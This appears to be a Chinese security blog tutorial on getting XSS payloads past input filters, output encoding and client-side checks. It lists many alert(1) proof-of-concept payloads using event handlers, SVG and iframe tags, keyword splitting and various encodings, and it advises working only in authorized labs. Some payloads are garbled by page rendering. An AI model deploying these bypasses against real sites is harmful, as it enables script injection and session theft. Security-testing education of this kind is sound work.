XSS 攻击进阶实战:过滤绕过技巧与多场景 Payload 变形

XSS 攻击进阶实战:过滤绕过技巧与多场景 Payload 变形

XSS(Cross-Site Scripting,跨站脚本攻击)的基础利用场景在实际环境中已越来越难奏效,多数 Web 应用都会部署输入过滤、输出编码、前端校验等防护机制,拦截 script>、alert 等基础恶意 Payload。此时,漏洞挖掘的核心竞争力就在于精准预判过滤规则、找到防护逻辑盲区、通过 Payload 变形实现脚本注入——这也是区分 XSS 入门者与进阶者的关键门槛。

本文作为 XSS 攻击系列第二篇,承接第一篇的基础类型与入门利用内容,聚焦过滤绕过核心技术,拆解标签过滤、字符过滤、输出编码、前端校验等常见场景的突破方法,结合多环境适配 Payload,帮你从“能识别基础 XSS”升级为“能在复杂防护下实现注入”。

在这里插入图片描述

一、XSS 过滤机制核心认知:先懂规则,再绕规则

要实现高效绕过,首先要明确 Web 应用的防护逻辑。XSS 防护的本质是阻断恶意脚本的输入与执行链路,常见的防护机制可分为三类,防护强度与可绕过性依次不同。

1. 主流过滤机制(按防护强度排序)

  • 输入过滤:最常用的基础防护。服务器对用户输入的内容进行关键词拦截(如直接过滤 script>、alert 等敏感词)、特殊字符转义(如将 < 转为 <、> 转为 >),或限制输入内容的长度、格式。

  • 输出编码:更严谨的防护方式。服务器在将用户输入内容嵌入页面 HTML 前,统一进行 HTML 实体编码或 JS 编码,使恶意脚本失去可执行性,仅作为普通文本展示。

  • 前端过滤:客户端层面的防护。通过 JavaScript 脚本在浏览器端拦截非法输入(如禁止输入含 <、> 的内容),但因逻辑完全暴露在前端,可绕过性最强。

2. 绕过核心逻辑(拒绝暴力试错)

高效绕过的关键不是盲目堆砌复杂 Payload,而是“预判规则 → 寻找盲区 → 切换上下文”的三步法:

  1. 预判规则:先用简单测试 Payload(如 < a>、alert(1))提交,分析被拦截的内容,明确防护针对的是标签、关键词还是特殊字符;

  2. 寻找盲区:利用过滤逻辑的不严谨性突破,比如大小写混合可绕过不区分大小写的过滤器、插入注释可拆分敏感关键词;

  3. 切换上下文:避开被严格过滤的

合法边界:所有过滤绕过测试需在授权靶场(如 DVWA、OWASP WebGoat)、SRC 平台或正式授权项目中进行,严禁利用绕过技术攻击未授权系统,否则需承担法律责任。

二、常见过滤场景与绕过实战技巧

本节按实战中最常遇到的过滤类型,拆解对应的绕过方法,并附上可直接复用的 Payload,覆盖 80% 以上的真实挖掘场景。

  1. 标签过滤绕过:避开 script> 拦截

多数简易过滤器会直接拦截 script> 标签,核心绕过思路是“替换脚本执行载体”,无需依赖 < script> 标签即可触发恶意代码。

(1)利用 HTML 事件属性触发脚本(实战首选)

通过 HTML 元素的事件属性(如 onerror、onload、onclick)执行脚本,兼容性强、绕过成功率高,是实战中最常用的方法。

  • 基础 Payload 集合:

    • 无用户交互触发(推荐):< img src=x onerror=alert(1)>(图片加载失败自动执行,无需用户操作)

    • 需用户交互触发:< a href=x onclick=alert(1)>点击查看</ a>(用户点击链接时执行)

  • 事件替换绕过:若 onerror 被过滤,可替换为其他事件

    • < img src=x onload=alert(1)>(图片加载成功触发)

    • < div onmouseover=alert(1)>鼠标悬浮触发</ div>(用户鼠标悬浮时执行)

  • 多事件叠加绕过:适配部分仅拦截单一事件的过滤器

    • < img src=x onerror=alert(1) onload=alert(2)>(总有一个事件可突破过滤)

(2)利用非标准标签执行脚本

部分标签虽非专门用于执行脚本,但可通过内置属性触发代码执行,绕过对 < script> 标签的专属拦截。

  • <SVG 标签(推荐)>:< svg onload=alert(1)>(主流浏览器均支持,无兼容性压力)

  • < IFRAME 标签>:< iframe src=“javascript:alert(1)”></ iframe>(通过 javascript: 伪协议执行脚本)

  • < VIDEO/AUDIO 标签>:< video src=x onerror=alert(1)>(视频加载失败触发,逻辑与图片 onerror 一致)

  1. 关键词过滤绕过:突破 alert、javascript 拦截

若过滤器针对 alert、javascript、eval 等核心关键词拦截,需通过“破坏关键词完整性”的方式,使其无法被过滤规则精准匹配。

(1)字符变形绕过

利用过滤器的字符串匹配漏洞,通过变形关键词实现绕过,适用于简易过滤规则:

  • 大小写混合:< Img SrC=x OnErRoR=AlErT(1)>(适配不区分大小写的过滤器)

  • 插入注释拆分:< img src=x onerror=al/任意注释内容/ert(1)>(用注释拆分 alert,绕过关键词匹配)

  • 插入空字符编码:< img src=x onerror=alert(1)>(l 是字母 l 的 Unicode 编码,浏览器自动解析为正常字符)

(2)关键词拆分拼接绕过

将敏感关键词拆分为多个字符串,通过 eval 函数拼接执行,完全避开关键词过滤:

< svg onload=“var a=‘al’;var b=‘ert’;eval(a+b+‘(1)’)”>

(3)编码绕过(按执行上下文适配)

对关键词或完整 Payload 进行编码,绕过字符串匹配,核心是根据执行上下文选择编码方式,否则脚本无法执行:

  • HTML 实体编码(适用于 HTML 标签内):
    将 alert(1) 编码为 & #x61; & #x6C;& #x65;& #x72;& #x74;& #x28;& #x31;& #x29;,完整 Payload:< img src=x onerror=& #x61;& #x6C;& #x65;& #x72;& #x74;& #x28;& #x31;& #x29;>

  • URL 编码(适用于 javascript: 伪协议):
    将 alert(1) 编码为 %61%6C%65%72%74%28%31%29,完整 Payload:< a href=“javascript:%61%6C%65%72%74%28%31%29”>点击触发</ a>

  • JS Unicode 编码(适用于脚本上下文):
    将 alert(1) 编码为 \u0061\u006C\u0065\u0072\u0074(1),完整 Payload:< script>\u0061\u006C\u0065\u0072\u0074(1)</ script>

  1. 输出编码绕过:突破 HTML 转义限制

若服务器对输入内容进行 HTML 编码(如 < 转 <、> 转 >),常规注入会失效,核心绕过思路是“切换注入上下文”,使编码后的内容仍能被浏览器执行。

(1)注入到 JS 上下文

若用户输入的内容被直接嵌入到 < script> 标签内或 JS 变量中,HTML 编码会失效。

  • 实战场景:服务器代码为 var username = “<?php echo $_GET['name'];?>”,此时注入 Payload:

  • 执行结果:页面渲染后 JS 代码变为 var username = “”;alert(1);//";,成功闭合变量引号并执行脚本,// 用于注释后续多余代码。

(2)利用编码解码差异绕过

若服务器仅做一次编码,而前端 JS 会对内容进行二次解码,可构造双重编码 Payload 实现绕过。

实战示例:将 < script>alert(1)</ script> 进行两次 URL 编码,注入后前端 JS 解码两次,还原为原始脚本并执行,适用于部分 CMS 系统、论坛的过滤逻辑。

  1. 前端过滤绕过:突破客户端校验

仅通过前端 JavaScript 实现的过滤,绕过难度极低,核心思路是“绕过客户端校验,直接向服务器提交恶意内容”。

方法一:禁用前端 JavaScript

在浏览器设置中禁用 JavaScript,前端过滤脚本失效,可直接在输入框中提交恶意 Payload(如 < svg onload=alert(1)>)。

方法二:抓包篡改请求

  1. 用 Burp Suite 等工具拦截前端提交的请求;

  2. 修改被前端过滤后的内容为恶意 Payload(如将输入的“正常文本”改为 );

  3. 发送修改后的请求到服务器,实现绕过。

方法三:修改前端校验逻辑

  1. 打开浏览器开发者工具(F12);

  2. 找到前端校验函数(如表单的 onSubmit 事件绑定函数);

  3. 修改函数返回值为 true,或直接删除校验事件,提交恶意内容。

三、多场景适配 Payload(实战必备)

不同 Web 环境对 Payload 的兼容性要求不同,整理高频场景的适配方案,避免重复试错,提升挖掘效率。

在这里插入图片描述

四、绕过避坑要点(新手必看)

  1. 避免过度变形:优先使用简单 Payload 绕过,复杂变形可能因浏览器兼容性问题失效,增加漏洞验证难度;

  2. 关注 HttpOnly Cookie:若目标 Cookie 设置了 HttpOnly 属性,即使注入成功也无法读取,需转向伪造请求等其他攻击场景(第三篇详解);

  3. 多浏览器交叉验证:不同浏览器对标签、事件的支持不同,需在 Chrome、Firefox、Edge 等主流浏览器中验证 Payload 有效性;

  4. 不依赖单一方法:过滤规则可能动态更新,需掌握多种绕过技巧,根据实际场景灵活切换思路。

五、总结:绕过的核心是“懂原理,会变形”

XSS 过滤绕过不是死记硬背 Payload,而是通过测试预判过滤规则,结合执行上下文选择合适的方法,灵活变形脚本。新手需在 DVWA、OWASP WebGoat 等靶场中反复演练不同过滤场景,理解“为什么这样绕”,而非单纯复制粘贴 Payload。

掌握这些技巧后,可应对多数 Web 应用的 XSS 防护机制,为后续挖掘高价值 XSS 漏洞(如管理员后台 XSS、内网 XSS)打下基础。下一篇文章将聚焦 XSS 高价值漏洞挖掘,拆解如何通过攻击链构建、核心场景突破,将普通 XSS 升级为 SRC 高分漏洞。

网络安全学习资源

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值